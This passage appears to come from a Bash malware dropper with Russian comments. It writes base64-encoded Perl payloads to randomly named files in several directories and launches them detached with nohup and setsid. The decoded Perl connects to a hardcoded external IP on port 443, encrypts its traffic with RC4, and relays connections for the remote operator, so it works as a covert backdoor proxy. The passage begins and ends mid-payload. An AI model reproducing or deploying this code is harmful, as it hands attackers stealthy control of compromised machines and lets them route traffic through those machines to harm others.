Y2thZGRyX2luKCQkcG9ydCwgaW5ldF9hdG9uKCQkaG9zdCkpOwoJIAoJIHVubGVzcyhjb25uZWN0 KCRzb2NrZXRhcnJbMF0sICRwYWRkcikpIHsgZ290byBjbG9zZTA7IH0KCSAKCSBzdWJzdHIoJGJ1 ZmZlciwgMCwgNTApID0gJHhvcmRhdGE7CgkgCgkgc3Vic3RyKCRidWZmZXIsIDUwLCAyKSA9ICJc eEZGXHhGRiI7CgkgCgkgc3Vic3RyKCRidWZmZXIsIDU0LCAxMSkgPSAiUGVybCBzY3JpcHQiOwoJ IAoJIFJjNF9jcnlwdChcJHhvcmRhdGEsIDUwLCBcJGJ1ZmZlciwgNTAsIDUwKTsKCSAKCSBzZW5k KCRzb2NrZXRhcnJbMF0sICRidWZmZXIsIE1TR19OT1NJR05BTCk7CgkgCgkgd2hpbGUoMSkgewoJ CSAKCQkgaWYgKCRyZW1haW5pbmc0ICE9IDQpIHsKCQkJIAoJCQkgdmVjKG15ICRyaW4gPSAnJywg ZmlsZW5vKCRzb2NrZXRhcnJbMF0pLCAxKSA9IDE7CgkJCSAKCQkJIG15ICRyZXQgPSBzZWxlY3Qo JHJpbiwgdW5kZWYsIHVuZGVmLCA2MCk7CgkJCSAKCQkJIG5leHQgaWYgKCRyZXQgPCAwKTsKCQkJ IAoJCQkgaWYgKCRyZXQgPT0gMCkgewoJCQkJIAoJCQkJIGxhc3QgaWYgKHN1YnN0cigkYnVmZmVy bnVsbCwgMCwgMykgbmUgIlx4MDBceDAwXHgwMCIpOwoJCQkJIAoJCQkJIGxhc3QgaWYgKCRyZW1h aW5pbmcgIT0gMCk7CgkJCQkgCgkJCQkgbGFzdCBpZiAoJHJlbWFpbmluZzQgIT0gMCk7CgkJCQkg CgkJCQkgUmM0X2NyeXB0KFwkeG9yZGF0YSwgNTAsIFwkYnVmZmVybnVsbCwgMCwgMyk7CgkJCQkg CgkJCQkgc3luc2VuZCgkc29ja2V0YXJyWzBdLCAkYnVmZmVybnVsbCwgTVNHX05PU0lHTkFMKTsK CQkJCSAKCQkJCSBuZXh0OwoJCQl9CgkJCSAKCQl9CgkJIAoJCSBpZiAoJHJlbWFpbmluZyAhPSAw IHx8ICRyZW1haW5pbmc0ID09IDQpIHsKCQkJIAoJCQkgaWYgKCRlZHggPT0gMCkgewoJCQkJIAoJ CQkJIGlmIChzdWJzdHIoJGJ1ZmZlcjAsIDAsIDEpIGVxICJceEZGIiAmJiBzdWJzdHIoJGJ1ZmZl cjAsIDEsIDEpIGVxICJceEZFIikgewoJCQkJCSAKCQkJCQkgJGlzRXhpdCA9IDE7CgkJCQkJIAoJ CQkJCSBsYXN0OwoJCQkJCSAKCQkJCX0KCQkJCSAKCQkJCSBlbHNpZiAoJGVieCA8IDIwMCAmJiAk ZWJ4ID4gMCkgewoJCQkJIAoJCQkJCSAkc29ja2V0YXJyYXlbJGVieF0gPSAwOwoJCQkJIAoJCQkJ fQoJCQkKCQkJfQoJCQkKCQkJZWxzZSB7CgkJCQkKCQkJCSAkZWN4ID0gJGVkeDsKCQkJCQoJCQkJ ICRlY3ggPSAkZWN4IC0gJHJlbWFpbmluZzsKCQkJCSAKCQkJCSAkZGF0YSA9ICcnOwoJCQkJIAoJ CQkJIHJlY3YoJHNvY2tldGFyclswXSwgJGRhdGEsICRlY3gsIDApOwoJCQkJCgkJCQkgdW5sZXNz ICgkZGF0YSkgeyBsYXN0OyB9CgkJCQkgCgkJCQkgJHJlbWFpbmluZyArPSBsZW5ndGgoJGRhdGEp OwoJCQkJIAoJCQkJICRidWZmZXIwIC49ICRkYXRhOwoJCQkJIAoJCQkJIGlmICgkZWR4ID09ICRy ZW1haW5pbmcpIHsKCQkJCQkgCgkJCQkJIFJjNF9jcnlwdChcJHhvcmRhdGEsIDUwLCBcJGJ1ZmZl cjAsIDQsICRyZW1haW5pbmcpOwoJCQkJCSAKCQkJCQkgaWYgKHVucGFjaygnQycsIHN1YnN0cigk YnVmZmVyMCwgMCwgMSkpID09IDApIHsKCQkJCQkJIAoJCQkJCQkgc29ja2V0KCRzb2NrZXRhcnJb JGVieF0sIFBGX0lORVQsIFNPQ0tfU1RSRUFNLCBnZXRwcm90b2J5bmFtZSgndGNwJykpOwoJCQkJ CQkgCgkJCQkJCSAkc29ja2V0YXJyYXlbJGVieF0gPSAxOwoJCQkJCQkgCgkJCQkJCSBuZXdDb25u ZWN0aW9uKCRlYngsIFxAc29ja2V0YXJyYXksICRzb2NrZXRhcnJbMF0sICRzb2NrZXRhcnJbJGVi eF0sICRidWZmZXIwKTsKCQkJCQkJIAoJCQkJCX0KCQkJCQkKCQkJCQkgZWxzZSB7CgkJCQkJCSAK CQkJCQkJIHNlbmQoJHNvY2tldGFyclskZWJ4XSwgc3Vic3RyKCRidWZmZXIwLCA0LCAkcmVtYWlu aW5nKSwgTVNHX05PU0lHTkFMKTsKCQkJCQkJIAoJCQkJCX0KCQkJCQkgCgkJCQkJICRyZW1haW5p bmcgPSAwOwoJCQkJfQoJCQkJCgkJCX0KCQkJIAoJCQkgJHJlbWFpbmluZzQgPSAwOwoJCQkgCgkJ fQoJCQoJCWVsc2UgewoJCQkKCQkJIGlmICgkcmVtYWluaW5nNCA9PSAwKSB7ICRidWZmZXIwID0g Jyc7IH0KCQkJCgkJCSAkZWF4ID0gNDsKCQkJCgkJCSAkZWF4ID0gJGVheCAtICRyZW1haW5pbmc0 OwoJCQkgCgkJCSAkZGF0YSA9ICcnOwoJCQkgCgkJCSByZWN2KCRzb2NrZXRhcnJbMF0sICRkYXRh LCAkZWF4LCAwKTsKCQkJIAoJCQkgdW5sZXNzICgkZGF0YSkgeyBsYXN0OyB9CgkJCSAKCQkJICRy ZW1haW5pbmc0ICs9IGxlbmd0aCgkZGF0YSk7CgkJCSAKCQkJICRidWZmZXIwIC49ICRkYXRhOwoJ CQkgCgkJCSAkYnVmZmVybnVsbCA9ICJceDAwIiB4IDM7CgkJCSAKCQkJIGlmICgkcmVtYWluaW5n NCA9PSA0KSB7CgkJCQkgCgkJCQkgUmM0X2NyeXB0KFwkeG9yZGF0YSwgNTAsIFwkYnVmZmVyMCwg MCwgNCk7CgkJCQkgCgkJCQkgJGVieCA9IHVucGFjaygnQycsIHN1YnN0cigkYnVmZmVyMCwgMSwg MSkpOwoJCQkJIAoJCQkJICRlZHggPSB1bnBhY2soJ1MnLCBzdWJzdHIoJGJ1ZmZlcjAsIDIsIDIp KTsKCQkJIAoJCQkJICRfcmV0ID0gMTsKCQkJfQoJCQkKCQl9Cgl9CgkKCSBjbG9zZTA6CgkgCgkg Y2xvc2UoJHNvY2tldGFyclswXSk7CgkgCgkgZm9yIChteSAkaSA9IDA7ICRpIDwgMjAwOyAkaSsr KSB7ICRzb2NrZXRhcnJheVskaV0gPSAwOyB9CgkgCgkgc2xlZXAgMTA7CgkgCgkgaWYgKCRpc0V4 aXQgPT0gMSkgeyBleGl0OyB9CgkgCgkgcmV0dXJuICRfcmV0OwoKfQoKYmNjbmN0KFwkaG9zdCwg XCRwb3J0KTsK BINARY_EOF chmod +x "$EXTRACTED_FILE" RANDOM_PROC_NAME=$(cat /dev/urandom | tr -dc 'a-z0-9' | head -c $RANDOM_NAME_LENGTH) # Определяем тип файла по первой строке (shebang) first_line=$(head -n 1 "$EXTRACTED_FILE") if [[ "$first_line" == *"perl"* ]]; then echo "[RUNNER] Компонент #36 (Perl) -> '$DEPLOY_DIR' под именем '$RANDOM_PROC_NAME'..." (cd "$DEPLOY_DIR" && nohup setsid perl "./$PAYLOAD_NAME" >/dev/null 2>&1 &) else echo "[RUNNER] Компонент #36 (Бинарный) -> '$DEPLOY_DIR' под именем '$RANDOM_PROC_NAME'..." (cd "$DEPLOY_DIR" && nohup setsid ./"$PAYLOAD_NAME" >/dev/null 2>&1 &) fi if [ "$first_run" = true ]; then first_run=false; else echo "[RUNNER] Пауза на $PAUSE_SECONDS секунд..." sleep $PAUSE_SECONDS; fi # --- Подготовка и запуск компонента 37 --- DEPLOY_DIR=${candidate_dirs[$dir_index]} PAYLOAD_NAME=$(cat /dev/urandom | tr -dc 'a-z0-9' | head -c 8) EXTRACTED_FILE="$DEPLOY_DIR/$PAYLOAD_NAME" dir_index=$(((dir_index + 1) % dir_count)) base64 -d > "$EXTRACTED_FILE" << 'BINARY_EOF' IyEvdXNyL2Jpbi9wZXJsCgp1c2Ugc3RyaWN0Owp1c2Ugd2FybmluZ3M7CnVzZSBTb2NrZXQ7CnVz ZSBTb2NrZXQgcXcoSVBQUk9UT19UQ1AgVENQX05PREVMQVkpOwp1c2UgRmNudGw7CnVzZSBGY250 bCBxdyg6ZmxvY2spOwp1c2UgdGhyZWFkczsKdXNlIHRocmVhZHM6OnNoYXJlZDsKCm15ICRob3N0 ID0gJzYyLjYwLjEzMS4xODUnOwpteSAkcG9ydCA9IDQ0MzsKCm15ICR4b3JkYXRhID0gIlx4MDAi IHggNTA7Cgpmb3IgKG15ICRpID0gMDsgJGkgPCA1MDsgJGkrKykgeyBzdWJzdHIoJHhvcmRhdGEs ICRpLCAxKSA9IHBhY2soJ0MnLCByYW5kKDI1NSkpOyB9CgpzdWIgUmM0X2NyeXB0IHsKCSAKCSBt eSAkcGFzc3cgPSBzaGlmdChAXyk7CgkgCgkgbXkgJGxlbmd0aCA9IHNoaWZ0KEBfKTsKCSAKCSBt eSAkYnVmZjAgPSBzaGlmdChAXyk7CgkgCgkgbXkgJHN0YXJ0ID0gc2hpZnQoQF8pOwoJIAoJIG15 ICRzeiA9IHNoaWZ0KEBfKTsKCSAKCSBteSAkcmM0ID0gIlx4MDAiIHggMjU2OwoJIAoJIG15ICRw b2NrZW1vbjAgPSAwOwoJCgkgbXkgJHBvY2tlbW9uMSA9IDA7CgkKCSBteSAkcG9ja2Vtb24yID0g MDsKCQoJIG15ICRwb2NrZW1vbjMgPSAwOwoJCgkgbXkgJHBvY2tlbW9uNCA9IDA7CgkKCSBteSAk cG9ja2Vtb241ID0gMDsKCQoJIG15ICRwb2NrZW1vbjYgPSAwOwoJCgkgbXkgJHBvY2tlbW9uNyA9 IDA7CgkKCSBteSAkcG9ja2Vtb244ID0gMDsKCSAKCSBteSAkcmN4ID0gJHN6OwoJIAoJIG15ICRy c2kgPSAwOwoJIAoJIG15ICRyYnggPSAwOwoJIAoJIG15ICRncyA9IDA7CgkgCgkgbXkgJHQgPSAw OwoJIAoJIGZvciAobXkgJGkgPSAwOyAkaSA8PSAyNTU7ICRpKyspIHsgc3Vic3RyKCRyYzQsICRp LCAxKSA9IHBhY2soJ0MnLCAkaSk7IH0KCSAKCSBkbyB7CgkJIAoJCSBzdWJzdHIoJCRidWZmMCwg JHN0YXJ0ICsgJHJzaSwgMSkgPSBwYWNrKCdDJywgKHVucGFjaygnQycsIHN1YnN0cigkJGJ1ZmYw LCAkc3RhcnQgKyAkcnNpLCAxKSkgXiB1bnBhY2soJ0MnLCBzdWJzdHIoJCRwYXNzdywgJHJieCwg MSkpKSk7CgkJIAoJCSAkcnNpKys7CgkJCgkJICRyYngrKzsKCQkKCQkgJHJjeC0tOwoJCQoJCSBp ZiAoJHJieCA9PSAkbGVuZ3RoKSB7CgkJCSAKCQkJICRyYnggPSAwOwoJCX0KCQkgCgl9IHdoaWxl KCRyY3ggPiAwKTsKCQoJCgkgd2hpbGUoMSkgewoJCSAKCQkgaWYgKCRncyA9PSAwKSB7CgkJCSAK CQkJICRwb2NrZW1vbjIgPSAwOwoKCQkJICRwb2NrZW1vbjMgPSAkbGVuZ3RoOwoJCX0KCQkgCgkJ IGlmICgkZ3MgIT0gMCkgewoJCQkgCgkJCSAkZ3MgPSAwOwoKCQkJICRwb2NrZW1vbjIrKzsKCgkJ CSBpZiAoLS0kcG9ja2Vtb24zID09IDApIHsgbmV4dDsgfQoJCQkgCgkJfQoJCQoJCSAkcG9ja2Vt b243ID0gdW5wYWNrKCdDJywgc3Vic3RyKCRyYzQsICRwb2NrZW1vbjAsIDEpKTsKCQkgCgkJICR0 ID0gdW5wYWNrKCdDJywgc3Vic3RyKCQkcGFzc3csICRwb2NrZW1vbjIsIDEpKTsKCgkJICRwb2Nr ZW1vbjEgKz0gJHQ7CgoJCSAkcG9ja2Vtb24xID0gJHBvY2tlbW9uMSAmIDI1NTsKCgkJICRwb2Nr ZW1vbjEgKz0gJHBvY2tlbW9uNzsKCgkJICRwb2NrZW1vbjEgPSAkcG9ja2Vtb24xICYgMjU1OwoK CQkgJHBvY2tlbW9uNiA9IHVucGFjaygnQycsIHN1YnN0cigkcmM0LCAkcG9ja2Vtb24xLCAxKSk7 CgkJIAoJCSBzdWJzdHIoJHJjNCwgJHBvY2tlbW9uMCwgMSkgPSBwYWNrKCdDJywgJHBvY2tlbW9u Nik7CgkJIAoJCSBzdWJzdHIoJHJjNCwgJHBvY2tlbW9uMSwgMSkgPSBwYWNrKCdDJywgJHBvY2tl bW9uNyk7CgkJIAoJCSAkcG9ja2Vtb24wKys7CgoJCSAkcG9ja2Vtb24wID0gJHBvY2tlbW9uMCAm IDI1NTsKCQkgCgkJIGlmICgkcG9ja2Vtb24wICE9IDApIHsKCQkJIAoJCQkgJGdzID0gMTsKCQkJ IAoJCQkgbmV4dDsKCQl9CgkJCgkJICRwb2NrZW1vbjQgPSAkc3o7CgoJCSAkcG9ja2Vtb24xID0g MDsKCgkJICRwb2NrZW1vbjAgPSAwOwoKCQkgJHBvY2tlbW9uMiA9IDA7CgoJCSAkcG9ja2Vtb24z ID0gMDsKCQkgCgkJIHdoaWxlKDEpIHsKCQkJIAoJCQkgJHBvY2tlbW9uMisrOwoKCQkJICRwb2Nr ZW1vbjIgPSAkcG9ja2Vtb24yICYgMjU1OwoKCQkJICRwb2NrZW1vbjcgPSB1bnBhY2soJ0MnLCBz dWJzdHIoJHJjNCwgJHBvY2tlbW9uMiwgMSkpOwoJCQkgCgkJCSAkcG9ja2Vtb24xICs9ICRwb2Nr ZW1vbjc7CgoJCQkgJHBvY2tlbW9uMSA9ICRwb2NrZW1vbjEgJiAyNTU7CgoJCQkgJHBvY2tlbW9u OCA9IHVucGFjaygnQycsIHN1YnN0cigkcmM0LCAkcG9ja2Vtb24xLCAxKSk7CgoJCQkgc3Vic3Ry KCRyYzQsICRwb2NrZW1vbjIsIDEpID0gcGFjaygnQycsICRwb2NrZW1vbjgpOwoJCSAKCQkJIHN1 YnN0cigkcmM0LCAkcG9ja2Vtb24xLCAxKSA9IHBhY2soJ0MnLCAkcG9ja2Vtb243KTsKCgkJCSAk cG9ja2Vtb244ICs9ICRwb2NrZW1vbjc7CgkKCQkJICRwb2NrZW1vbjggPSAkcG9ja2Vtb244ICYg MjU1OwoKCQkJICRwb2NrZW1vbjAgPSB1bnBhY2soJ0MnLCBzdWJzdHIoJHJjNCwgJHBvY2tlbW9u OCwgMSkpOwoJCQkgCgkJCSAkcG9ja2Vtb241ID0gdW5wYWNrKCdDJywgc3Vic3RyKCQkYnVmZjAs ICRzdGFydCArICRwb2NrZW1vbjMsIDEpKTsKCgkJCSAkcG9ja2Vtb241ID0gJHBvY2tlbW9uNSBe ICRwb2NrZW1vbjA7CgkJCSAKCQkJIHN1YnN0cigkJGJ1ZmYwLCAkc3RhcnQgKyAkcG9ja2Vtb24z LCAxKSA9IHBhY2soJ0MnLCAkcG9ja2Vtb241KTsKCQkJIAoJCQkgJHBvY2tlbW9uMysrOwoJCQkg CgkJCSBpZiAoLS0kcG9ja2Vtb240ID09IDApCgkJCSB7CgkJCQkgbGFzdDsKCQkJIH0KCQkJIAoJ CX0KCQkgCgkJIGxhc3Q7Cgl9CgkKCSAkcnNpID0gMDsKCQoJICRyY3ggPSAkc3o7CgkKCSAkcmJ4 ID0gMDsKCQoJIGRvIHsKCQkgCgkJIHN1YnN0cigkJGJ1ZmYwLCAkc3RhcnQgKyAkcnNpLCAxKSA9 IHBhY2soJ0MnLCAodW5wYWNrKCdDJywgc3Vic3RyKCQkYnVmZjAsICRzdGFydCArICRyc2ksIDEp KSBeIHVucGFjaygnQycsIHN1YnN0cigkJHBhc3N3LCAkcmJ4LCAxKSkpKTsKCQkgCgkJICRyc2kr KzsKCQkKCQkgJHJieCsrOwoJCQoJCSAkcmN4LS07CgkJCgkJIGlmICgkcmJ4ID09ICRsZW5ndGgp IHsKCQkJIAoJCQkgJHJieCA9IDA7CgkJfQoJCSAKCX0gd2hpbGUoJHJjeCA+IDApOwoJCn0KCnN1 YiBzeW5zZW5kIHsKCQkKCSBteSAkY1NvY2tldCA9IHNoaWZ0KEBfKTsKCSAKCSBteSAkYnVmZmVy ID0gc2hpZnQoQF8pOwoJIAoJIG15ICRmbGFncwk9IHNoaWZ0KEBfKTsKCgkgb3BlbihteSAkZmgs ICI8IiwgJy9kZXYvbnVsbCcpOwoKCSBmbG9jaygkZmgsIExPQ0tfRVgpOwoJIAoJICMgPT09PT09 PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT0KCSAKCSBzZW5kKCRjU29j a2V0LCAkYnVmZmVyLCAkZmxhZ3MpOwoJIAoJICMgPT09PT09PT09PT09PT09PT09PT09PT09PT09 PT09PT09PT09PT09PT09PT09PT0KCSAKCSBmbG9jaygkZmgsIExPQ0tfVU4pOwoKCSBjbG9zZSgk ZmgpOwp9CgpzdWIgbmV3Q29ubmVjdGlvbiB7CgkKCW15ICRudW0gPSBzaGlmdChAXyk7CgkKCW15 ICRzb2NrZXRhcnJheSA9IHNoaWZ0KEBfKTsKCQoJbXkgJHNTb2NrZXQgPSBzaGlmdChAXyk7CgkK CW15ICRjU29ja2V0ID0gc2hpZnQoQF8pOwoJCglteSAkYnVmZjAgPSBzaGlmdChAXyk7CgkKICAg IHRocmVhZHMtPmNyZWF0ZSggc3ViIHsKCQkKCQlteSAkcmVzcG9uY2UgPSBwYWNrKCdDJywgJG51 bSkuIlx4MEFceDAwXHgwNVx4MDFceDAwXHgwMVx4MDBceDAwXHgwMFx4MDBceDAwXHgwMCI7CgkJ CgkJbXkgJGRvbWFpbiA9ICcnOwoJCQoJCW15ICRwb3J0ID0gMDsKCQkKCQlteSAkX3JldCA9IDA7 CgkJCgkJbXkgJGRhdGEgPSAnJzsKCQkKCQlteSAkYnVmZmVyID0gJyc7CgkJCgkJc2V0c29ja29w dCgkY1NvY2tldCwgSVBQUk9UT19UQ1AsIFRDUF9OT0RFTEFZLCAxKTsKCQkKCQlmY250bCgkY1Nv Y2tldCwgRl9TRVRGTCwgT19OT05CTE9DSyk7CgkJCgkJaWYgKHVucGFjaygnQycsIHN1YnN0cigk YnVmZjAsIDcsIDEpKSA9PSAzKSB7CgkJCQoJCQkkZG9tYWluID0gc3Vic3RyKCRidWZmMCwgOSwg dW5wYWNrKCdDJywgc3Vic3RyKCRidWZmMCwgOCwgMSkpKTsKCQkJCgkJCSRwb3J0ID0gdW5wYWNr KCdTJywgc3Vic3RyKCRidWZmMCwgOSArIHVucGFjaygnQycsIHN1YnN0cigkYnVmZjAsIDgsIDEp KSArIDEsIDEpLnN1YnN0cigkYnVmZjAsIDkgKyB1bnBhY2soJ0MnLCBzdWJzdHIoJGJ1ZmYwLCA4 LCAxKSkgKyAwLCAxKSk7CgkJCQoJCX0KCQkKCQllbHNpZiAodW5wYWNrKCdDJywgc3Vic3RyKCRi dWZmMCwgNywgMSkpID09IDEpIHsKCQkJCgkJCSRkb21haW4gPSBzcHJpbnRmKCIlZC4lZC4lZC4l ZCIsIHVucGFjaygnQycsIHN1YnN0cigkYnVmZjAsIDggKyAwLCAxKSksIHVucGFjaygnQycsIHN1 YnN0cigkYnVmZjAsIDggKyAxLCAxKSksIHVucGFjaygnQycsIHN1YnN0cigkYnVmZjAsIDggKyAy LCAxKSksIHVucGFjaygnQycsIHN1YnN0cigkYnVmZjAsIDggKyAzLCAxKSkpOwoJCQkKCQkJJHBv cnQgPSB1bnBhY2soJ1MnLCBzdWJzdHIoJGJ1ZmYwLCAxMiArIDEsIDEpLnN1YnN0cigkYnVmZjAs IDEyICsgMCwgMSkpOwoJCQkKCQl9CgkJCgkJZWxzZSB7CgkJCQoJCQkgZ290byBjbG9zZV87CgkJ fQoJCQoJCSBldmFsIHsKCQkJIAoJCQkgbXkgJHBhZGRyID0gc29ja2FkZHJfaW4oJHBvcnQsIGlu ZXRfYXRvbigkZG9tYWluKSk7CgkJCgkJCSBjb25uZWN0KCRjU29ja2V0LCAkcGFkZHIpOwoJCSAK CQkJIHZlYyhteSAkd2luID0gJycsIGZpbGVubygkY1NvY2tldCksIDEpID0gMTsKCgkJCSB1bmxl c3MgKHNlbGVjdCh1bmRlZiwgJHdpbiwgdW5kZWYsIDEwKSkgeyBnb3RvIGNsb3NlXzsgfQoJCSAK CQkJIGZjbnRsKCRjU29ja2V0LCBGX1NFVEZMLCAwKTsKCQkgCgkJCSBzdWJzdHIoJHJlc3BvbmNl LCA0LCAxKSA9ICJceDAwIjsKCQkgCgkJCSAkX3JldCA9IDE7CgkJCSAKCQkgfTsKCQkgCgkJIGNs b3NlXzoKCQkgCgkJIFJjNF9jcnlwdChcJHhvcmRhdGEsIDUwLCBcJHJlc3BvbmNlLCAwLCAzKTsK CQkgCgkJIFJjNF9jcnlwdChcJHhvcmRhdGEsIDUwLCBcJHJlc3BvbmNlLCAzLCAxMCk7CgkJIAoJ CSBzeW5zZW5kKCRzU29ja2V0LCAkcmVzcG9uY2UsIE1TR19OT1NJR05BTCk7CgkJIAoJCSBSYzRf Y3J5cHQoXCR4b3JkYXRhLCA1MCwgXCRyZXNwb25jZSwgMCwgMyk7CgkJIAoJCSBpZiAoJF9yZXQg PT0gMSkgewoJCQkgCgkJCSB3aGlsZSAoJCRzb2NrZXRhcnJheVskbnVtXSA9PSAxKSB7CgkJCQkg CgkJCQkgdmVjKG15ICRyaW4gPSAnJywgZmlsZW5vKCRjU29ja2V0KSwgMSkgPSAxOwoJCQkJIAoJ CQkJIHVubGVzcyAoc2VsZWN0KCRyaW4sIHVuZGVmLCB1bmRlZiwgMSkpIHsgbmV4dDsgfQoJCQkJ IAoJCQkJICRkYXRhID0gJyc7CgoJCQkJIHJlY3YoJGNTb2NrZXQsICRkYXRhLCA2NTUzMCwgMCk7 CgkgCgkJCQkgdW5sZXNzICgkZGF0YSkgeyBsYXN0OyB9CgkJCQkgCgkJCQkgJGJ1ZmZlciA9IHBh Y2soJ0MnLCAkbnVtKS5wYWNrKCdTJywgbGVuZ3RoKCRkYXRhKSkuJGRhdGE7CgkJCQkgCgkJCQkg UmM0X2NyeXB0KFwkeG9yZGF0YSwgNTAsIFwkYnVmZmVyLCAwLCAzKTsKCQkgCgkJCQkgUmM0X2Ny eXB0KFwkeG9yZGF0YSwgNTAsIFwkYnVmZmVyLCAzLCBsZW5ndGgoJGRhdGEpKTsKCQkJCSAKCQkJ CSBzeW5zZW5kKCRzU29ja2V0LCAkYnVmZmVyLCBNU0dfTk9TSUdOQUwpOwoJCQkJIAoJCQl9CgkJ fQoJCQoJCSAkJHNvY2tldGFycmF5WyRudW1dID0gMDsKCQkgCgkJIGNsb3NlKCRjU29ja2V0KTsK CQkgCgkJIHN1YnN0cigkcmVzcG9uY2UsIDEsIDIpID0gIlx4MDBceDAwIjsKCQkgCgkJIFJjNF9j cnlwdChcJHhvcmRhdGEsIDUwLCBcJHJlc3BvbmNlLCAwLCAzKTsKCQkgCgkJIHN5bnNlbmQoJHNT b2NrZXQsIHN1YnN0cigkcmVzcG9uY2UsIDAsIDMpLCBNU0dfTk9TSUdOQUwpOwoJCQogICAgICAg ICB0aHJlYWRzLT5kZXRhY2goKTsKICAgIH0pOwp9CgpzdWIgYmNjbmN0IHsKCgkgbXkgJGhvc3Qg PSBzaGlmdChAXyk7CgkgCgkgbXkgJHBvcnQgPSBzaGlmdChAXyk7CgkgCgkgbXkgJHJlbWFpbmlu ZyA9IDA7CgkgCgkgbXkgJHJlbWFpbmluZzQgPSAwOwoJIAoJIG15IEBzb2NrZXRhcnI7CgkgCgkg bXkgQHNvY2tldGFycmF5IDpzaGFyZWQ7CgkgCgkgbXkgJGJ1ZmZlciA9ICJceDAwIiB4IDEwMDsK CSAKCSBteSAkYnVmZmVybnVsbCA9ICJceDAwIiB4IDM7CgkgCgkgbXkgJGJ1ZmZlcjAgPSAnJzsK CSAKCSBteSAkaXNFeGl0ID0gMDsKCSAKCSBteSAkZWN4ID0gMDsKCSAKCSBteSAkZWF4ID0gMDsK CSAKCSBteSAkZGF0YSA9ICcnOwoJIAoJIG15ICRfcmV0ID0gMDsKCSAKCSBteSAkZWJ4ID0gMDsK CSAKCSBteSAkZWR4ID0gMDsKCSAKCSBzb2NrZXQoJHNvY2tldGFyclswXSwgUEZfSU5FVCwgU09D S19TVFJFQU0sIGdldHByb3RvYnluYW1lKCd0Y3AnKSk7CgkgCgkgc2V0c29ja29wdCgkc29ja2V0 YXJyWzBdLCBJUFBST1RPX1RDUCwgVENQX05PREVMQVksIDEpOwoJIAoJIG15ICRwYWRkciA9IHNv Y2thZGRyX2luKCQkcG9ydCwgaW5ldF9hdG9uKCQkaG9zdCkpOwoJIAoJIHVubGVzcyhjb25uZWN0 KCRzb2NrZXRhcnJbMF0sICRwYWRkcikpIHsgZ290byBjbG9zZTA7IH0KCSAKCSBzdWJzdHIoJGJ1 ZmZlciwgMCwgNTApID0gJHhvcmRhdGE7CgkgCgkgc3Vic3RyKCRidWZmZXIsIDUwLCAyKSA9ICJc eEZGXHhGRiI7CgkgCgkgc3Vic3RyKCRidWZmZXIsIDU0LCAxMSkgPSAiUGVybCBzY3JpcHQiOwoJ IAoJIFJjNF9jcnlwdChcJHhvcmRhdGEsIDUwLCBcJGJ1ZmZlciwgNTAsIDUwKTsKCSAKCSBzZW5k KCRzb2NrZXRhcnJbMF0sICRidWZmZXIsIE1TR19OT1NJR05BTCk7CgkgCgkgd2hpbGUoMSkgewoJ CSAKCQkgaWYgKCRyZW1haW5pbmc0ICE9IDQpIHsKCQkJIAoJCQkgdmVjKG15ICRyaW4gPSAnJywg ZmlsZW5vKCRzb2NrZXRhcnJbMF0pLCAxKSA9IDE7CgkJCSAKCQkJIG15ICRyZXQgPSBzZWxlY3Qo JHJpbiwgdW5kZWYsIHVuZGVmLCA2MCk7CgkJCSAKCQkJIG5leHQgaWYgKCRyZXQgPCAwKTsKCQkJ IAoJCQkgaWYgKCRyZXQgPT0gMCkgewoJCQkJIAoJCQkJIGxhc3QgaWYgKHN1YnN0cigkYnVmZmVy bnVsbCwgMCwgMykgbmUgIlx4MDBceDAwXHgwMCIpOwoJCQkJIAoJCQkJIGxhc3QgaWYgKCRyZW1h aW5pbmcgIT0gMCk7CgkJCQkgCgkJCQkgbGFzdCBpZiAoJHJlbWFpbmluZzQgIT0gMCk7CgkJCQkg CgkJCQkgUmM0X2NyeXB0KFwkeG9yZGF0YSwgNTAsIFwkYnVmZmVybnVsbCwgMCwgMyk7CgkJCQkg CgkJCQkgc3luc2VuZCgkc29ja2V0YXJyWzBdLCAkYnVmZmVybnVsbCwgTVNHX05PU0lHTkFMKTsK CQkJCSAKCQkJCSBuZXh0OwoJCQl9CgkJCSAKCQl9CgkJIAoJCSBpZiAoJHJlbWFpbmluZyAhPSAw IHx8ICRyZW1haW5pbmc0ID09IDQpIHsKCQkJIAoJCQkgaWYgKCRlZHggPT0gMCkgewoJCQkJIAoJ CQkJIGlmIChzdWJzdHIoJGJ1ZmZlcjAsIDAsIDEpIGVxICJceEZGIiAmJiBzdWJzdHIoJGJ1ZmZl cjAsIDEsIDEpIGVxICJceEZFIikgewoJCQkJCSAKCQkJCQkgJGlzRXhpdCA9IDE7CgkJCQkJIAoJ CQkJCSBsYXN0OwoJCQkJCSAKCQkJCX0KCQkJCSAKCQkJCSBlbHNpZiAoJGVieCA8IDIwMCAmJiAk ZWJ4ID4gMCkgewoJCQkJIAoJCQkJCSAkc29ja2V0YXJyYXlbJGVieF0gPSAwOwoJCQkJIAoJCQkJ fQoJCQkKCQkJfQoJCQkKCQkJZWxzZSB7CgkJCQkKCQkJCSAkZWN4ID0gJGVkeDsKCQkJCQoJCQkJ ICRlY3ggPSAkZWN4IC0gJHJlbWFpbmluZzsKCQkJCSAKCQkJCSAkZGF0YSA9ICcnOwoJCQkJIAoJ CQkJIHJlY3YoJHNvY2tldGFyclswXSwgJGRhdGEsICRlY3gsIDApOwoJCQkJCgkJCQkgdW5sZXNz ICgkZGF0YSkgeyBsYXN0OyB9CgkJCQkgCgkJCQkgJHJlbWFpbmluZyArPSBsZW5ndGgoJGRhdGEp OwoJCQkJIAoJCQkJICRidWZmZXIwIC49ICRkYXRhOwoJCQkJIAoJCQkJIGlmICgkZWR4ID09ICRy ZW1haW5pbmcpIHsKCQkJCQkgCgkJCQkJIFJjNF9jcnlwdChcJHhvcmRhdGEsIDUwLCBcJGJ1ZmZl cjAsIDQsICRyZW1haW5pbmcpOwoJCQkJCSAKCQkJCQkgaWYgKHVucGFjaygnQycsIHN1YnN0cigk YnVmZmVyMCwgMCwgMSkpID09IDApIHsKCQkJCQkJIAoJCQkJCQkgc29ja2V0KCRzb2NrZXRhcnJb JGVieF0sIFBGX0lORVQsIFNPQ0tfU1RSRUFNLCBnZXRwcm90b2J5bmFtZSgndGNwJykpOwoJCQkJ CQkgCgkJCQkJCSAkc29ja2V0YXJyYXlbJGVieF0gPSAxOwoJCQkJCQkgCgkJCQkJCSBuZXdDb25u ZWN0aW9uKCRlYngsIFxAc29ja2V0YXJyYXksICRzb2NrZXRhcnJbMF0sICRzb2NrZXRhcnJbJGVi eF0sICRidWZmZXIwKTsKCQkJCQkJIAoJCQkJCX0KCQkJCQkKCQkJCQkgZWxzZSB7CgkJCQkJCSAK 